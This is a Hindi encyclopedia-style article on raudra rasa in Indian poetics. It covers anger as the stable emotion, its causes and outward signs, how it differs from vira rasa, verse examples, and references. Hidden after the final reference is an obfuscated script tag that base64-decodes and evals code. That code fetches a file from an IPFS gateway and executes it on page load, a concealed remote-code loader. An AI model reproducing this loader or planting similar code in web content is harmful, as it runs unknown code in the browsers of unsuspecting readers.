रौद्र रस

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काव्यगत रसों में रौद्र रस का महत्त्वपूर्ण स्थान है। भरत ने ‘नाट्यशास्त्र’ में श्रृंगार, रौद्र, वीर तथा वीभत्स, इन चार रसों को ही प्रधान माना है, अत: इन्हीं से अन्य रसों की उत्पत्ति बतायी है, यथा-‘तेषामुत्पत्तिहेतवच्क्षत्वारो रसा: श्रृंगारो रौद्रो वीरो वीभत्स इति’ [1]। रौद्र से करुण रस की उत्पत्ति बताते हुए भरत कहते हैं कि ‘रौद्रस्यैव च यत्कर्म स शेय: करुणो रस:’ [2]।रौद्र रस का कर्म ही करुण रस का जनक होता है,

स्थायी भाव

रौद्र रस का 'स्थायी भाव' 'क्रोध' है तथा इसका वर्ण रक्त एवं देवता रुद्र है।

  • भानुदत्त ने ‘रसतरंगिणी’ में लिखा है - ‘परिपूर्ण:क्रोधो रौद्र: सर्वेन्द्रियाणामौद्धत्यं वा। वर्णोऽस्य रक्तो दैवतं रुद्र:’, अर्थात स्थायी भाव क्रोध का पूर्णतया प्रस्फुट स्वरूप रौद्र है अथवा सम्पूर्ण इन्द्रियों का उद्धत स्वरूप का ग्रहण कर लेना रौद्र है। इसका रंग लाल है तथा देवता रुद्र हैं। यह स्मरण रखना आवश्यक है कि यद्यपि रुद्र का रंग श्वेत माना गया है, तथापि रौद्र रस का रंग लाल बताया गया है, क्योंकि कोपाविष्ट दशा में मनुष्य की आकृति, क्षोभ के आतिशश्य से, रक्त वर्ण की हो जाती है।
  • केशवदास ने ‘रसिकप्रिया’ में भानुदत्त की बात दुहरायी है - ‘होहि रौद्र रस क्रोध में, विग्रह उम्र शरीर। अरुण वरण वरणत सबै, कहि केसव मतिधीर’ [3]
  • रामदहिन मिश्र ने विभावों को भी समेटते हुए रौद्र रस की परिभाषा दी है - ‘जहाँ विरोधी दल की छेड़खानी, अपमान, अपकार, गुरुजन निन्दा तथा देश और धर्म के अपमान आदि प्रतिशोध की भावना होती है, वहाँ रौद्र रस होता है’[4]
  • भानुदत्त के परिपूर्ण क्रोध तथा इस प्रतिशोध में कोई भेद नहीं है। वास्तव में क्रोध स्थायी का प्रकाश क्रोधभाजन के प्रति बदला लेने की उग्र भावना में ही होता है।
  • पण्डित राज जगन्नाथ के अनुसार, क्रोध शत्रुविनाश आदि का कारण होता है। प्रसिद्ध मनस्तत्त्वविद् मैकडुगल ने क्रोध को युयुत्सा की प्रवृत्ति से व्युत्पन्न बताया है, जो भारतीय आचार्यों की स्थापनाओं से भिन्न नहीं कहा जायेगा।
  • भरत मुनि का कथन है कि रौद्र रस राक्षस, दैत्य और उद्धत मनष्यों से उत्पन्न होता है तथा युद्ध का हेतु होता है। किन्तु बाद में वे कहते हैं कि अन्य लोगों में भी रौद्र रस उत्पन्न होता है, यद्यपि राक्षसों का इस पर विशेष अधिकार होता है, क्योंकि वे स्वभाव से ही रौद्र अर्थात् क्रोधशील हैं। मनोवैज्ञानिक दृष्टि से भलाई के बदले बुराई पाने वाले, अपूर्ण या अतृप्त आकांक्षा वाले, विरोध सहन न करने वाले तथा तिरस्कृत निर्धन व्यक्ति क्रोध करते हैं और वे रौद्र रस की उत्पत्ति के कारण हो सकते हैं। इसी प्रकार क्रोध को उत्पन्न करने वाले व्यक्ति भी अनेक कोटियों के हो सकते हैं।

आवश्यक अव्यव

रौद्र रस के परिपालक के लिए क्रोध स्थायी की आस्वाद्यता के निमित्त निम्नलिखित अवयवों की उपस्थिति अपेक्षित है।

आलम्बन-विभाव -

शत्रु तथा विरोध पक्ष के व्यक्ति;

उद्दीपन-विभाव -

शत्रु द्वारा किए गए अनिष्ट कार्य, अधिक्षेप, अपमान, अपकार, कठोर वचनों का प्रयोग इत्यादि।

अनुभाव -

मुख तथा नेत्र का लाल होना, भ्रूमंग, दाँत तथा होंठ चबाना, कठोर भाषण, शस्त्र उठाना, गर्जन, तर्जन, विरोधियों को ललकारना इत्यादि।

व्यभिचारी भाव -

मद, उग्रता, अमर्ष, चंचलता, उद्वेग, असूया, स्मृति, आवेग इत्यादि।

रौद्र रस व वीर रस में अंतर

रौद्र रस एवं वीर रस में आलम्बन समान होते हैं, किन्तु इनके स्थायी भावों की भिन्नता स्पष्ट है। वीर का स्थायी भाव उत्साह है, जिसमें भी शत्रु के दुर्वचनादि से अपमानित होने की भावना सन्निहित है, लेकिन अवज्ञादि से जो क्रोध उत्पन्न होता है, उसमें ‘प्रमोदप्रतिकूलता’, अर्थात् आनन्द को विच्छिन्न करने की शक्ति वर्तमान रहती है, यथा-‘अवज्ञादिकृत: प्रमोदप्रतिकूल: परिमितो मनोविकार: क्रोध:’ (रसतरंगिणी)। अतएव इस स्फूर्तिवर्धक प्रमोद अथवा उल्लास की उपस्थिति के ज्ञान से वीर रस रौद्र से पृथक् पहचाना जा सकता है। इसके अतिरिक्त नेत्र एवं मुख का लाल होना, कठोर वचन बोलना इत्यादि अनुभव रौद्र रस में ही होते हैं, वीर में नहीं, यथा - ‘रक्त स्यनेत्रता चात्र भेदिनी युद्धवीरत:’ [5]

रौद्र रस का उदाहरण-

‘बोरौ सवै रघुवंश कुठार की धार में बारन बाजि सरत्थहि।
बान की वायु उड़ाइ कै लच्छन लक्ष्य करौ अरिहा समरत्थहिं।
रामहिं बाम समेत पठै बन कोप के भार में भूजौ भरत्थहिं।
जो धनु हाथ धरै रघुनाथ तो आजु अनाथ करौ दसरत्थहि’[6]

  • धनुषभंग के प्रसंग में परशुराम ने उक्त वचन कहे हैं। राम, लक्ष्मण इत्यादि विभाव हैं, धनुष का टूटना अनिष्ट कार्य है, जो उद्दीपन विभाव है। अधर्म, गर्व, उग्रता इत्यादि व्यभिचारी भाव हैं। गर्वदीस कठोर भाषण, जिसमें राम, भरत इत्यादि को ललकारा गया है, अनुभाव है। इन अवयवों द्वारा ‘क्रोध’ स्थायी भाव परिपुष्ट होकर आस्वादित होता है, अतएव यहाँ रौद्र रस निष्पन्न हुआ है। लेकिन इस पद्य में रौद्र रस के अवयवों के रहते हुए भी रौद्र रस की निष्पत्ति नहीं हुई है -

‘सत्रुन के कुलकाल सुनी धनुभंग धुनी उठि बेगि सिधाये।
याद कियो पितु के बध कौ फरकै अधरा दृग रक्त बनाये।
आगे परे धनु-खण्ड बिलोकि प्रचंड भये भृगुटीन चढ़ाये।
देखत ओर श्रीरघुनायककौ भृगुनायक बन्दत हौं सिर नाये’ [7]

  • यहाँ क्रोध के आलम्बन रामचन्द्र हैं, अधरों का फड़कना, नेत्र का रक्त होना इत्यादि अनुभाव हैं, पिता के वध की स्मृति, गर्व उग्रता आदि संचारी भाव है। इस प्रकार रौद्र रस के सम्पूर्ण तत्त्व विद्यमान हैं, लेकिन यहाँ क्रोध गौण बन गया है और सभी उपादाग परशुराम के प्रति कवि के प्रेमभाव के व्यंजक बन गये हैं। अतएव प्रस्तुत पद्य मुनि विषयक रति भाव का उदाहरण हो गया है और रौद्र रस की निष्पत्ति नहीं हो सकी है। रौद्र रस का हास्य, श्रृंगार, भयानक तथा शान्त से विरोध बताया गया है और वीर एवं मैत्रीभाव कहा गया है।
रासो ग्रंथों में

रासों ग्रन्थों में वीर रस के साथ-साथ रौद्र रस के प्रचुर उदाहरण मिलते हैं। ‘रामचरितमानस’ में लक्ष्मण और परशुराम तथा रावण और अंगद के संवादों में रौद्र रस की भरपूर व्यंजना हुई है। चित्रकूट में भरत के सेना सहित आगमन का समाचार सुनकर लक्ष्मण ने जो भीषण क्रोध व्यक्त किया है, वह भी रौद्र रस का सुन्दर उदाहरण है। केशवदास की ‘रामचन्द्रिका’ से रौद्र रस का उदाहरण पहले ही अंकित किया जा चुका है। भूषण की रचनाओं में भी रौद्र रस के उदाहरण मिल जाते हैं। वर्तमान काल में श्यामनारायण पाण्डेय तथा ‘दिनकर’ की रचनाओं में रौद्र रस की प्रभावकारी व्यंजना हुई है। संस्कृत के ग्रन्थों में ‘महाभारत’ तथा ‘वीरचरित’, ‘वेणीसंहार’ इत्यादि नाटकों में रौद्र रस की प्रभूत अभिव्यक्ति हुई है।[8]


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टीका टिप्पणी और संदर्भ

  1. 6:38 नाट्य शास्त्र भरतमुनि
  2. 6:39-41नाट्य शास्त्र भरतमुनि
  3. 14-2 रसिकप्रिया
  4. काव्यदर्पण
  5. साहित्यदर्पण, 3:231
  6. रामचन्द्रिका
  7. रसमंजरी, 4, 198
  8. वर्मा, धीरेंद्र हिन्दी साहित्यकोश, भाग-1, मई 2007 (हिन्दी), वाराणसी: ज्ञानमण्डल प्रकाशन, 581।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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